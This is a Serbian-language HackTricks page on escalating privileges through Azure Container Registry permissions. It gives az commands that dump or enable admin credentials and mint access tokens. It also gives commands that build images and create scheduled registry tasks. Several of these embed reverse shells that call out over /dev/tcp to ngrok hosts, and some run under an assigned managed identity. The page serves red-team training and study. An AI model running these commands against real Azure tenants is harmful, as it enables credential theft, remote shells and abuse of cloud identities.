Az - Azure Container Registry Privesc
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Azure Container Registry
Za više informacija pogledajte:
Microsoft.ContainerRegistry/registries/listCredentials/action
Ova dozvola omogućava korisniku da prikaže administratorske akreditive ACR-a. Ovo je korisno za dobijanje punog pristupa registru.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
U slučaju da admin kredencijali nisu omogućeni, takođe će vam biti potrebna dozvola Microsoft.ContainerRegistry/registries/write
da ih omogućite sa:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write
, Microsoft.ContainerRegistry/registries/generateCredentials/action
Ove dozvole omogućavaju korisniku da napravi novi token sa lozinkama za pristup registru.
Da biste koristili az cli
za generisanje kao u sledećem primeru, takođe će vam biti potrebne dozvole Microsoft.ContainerRegistry/registries/read
, Microsoft.ContainerRegistry/registries/scopeMaps/read
, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read
, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action
, Microsoft.ContainerRegistry/registries/scheduleRun/action
, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Ove dozvole omogućavaju korisniku da izgradi i pokrene sliku u registru. Ovo se može koristiti za izvršavanje koda u kontejneru.
[!WARNING] Međutim, slika će biti izvršena u sandbox okruženju i bez pristupa usluzi metapodataka. To znači da kontejner neće imati pristup metapodacima instance, tako da ovo zapravo nije korisno za eskalaciju privilegija.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Ovo je glavna dozvola koja omogućava kreiranje i ažuriranje zadatka u registru. Ovo se može koristiti za izvršavanje koda unutar kontejnera sa upravljanom identitetom koji je povezan sa njim u kontejneru.
Ovo je primer kako izvršiti reverse shell u kontejneru sa sistemskim upravljanim identitetom koji je povezan sa njim:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Drugi način da dobijete RCE iz zadatka bez korišćenja spoljnog repozitorijuma je korišćenje komande az acr task create
sa --cmd
flagom. Ovo će vam omogućiti da pokrenete komandu u kontejneru. Na primer, možete pokrenuti reverznu ljusku sa sledećom komandom:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
tip
Imajte na umu da za dodeljivanje identiteta koji upravlja sistemom ne trebate posebne dozvole, iako mora biti omogućeno unapred u registru i dodeljene neke dozvole da bi bilo korisno.
Da biste dodelili identitet koji upravlja korisnikom takođe, potrebna vam je dozvola Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
da biste uradili:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Da ažurirate repozitorijum postojeće zadatka, možete uraditi:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Sa ovom dozvolom je moguće importovati sliku u azure registry, čak i bez lokalnog posedovanja slike. Međutim, imajte na umu da ne možete importovati sliku sa oznakom koja već postoji u registry.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Da biste uklonili ili obrisali određenu oznaku slike iz registra, možete koristiti sledeću komandu. Međutim, imajte na umu da će vam biti potreban korisnik ili token sa dovoljnim dozvolama da to uradite:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.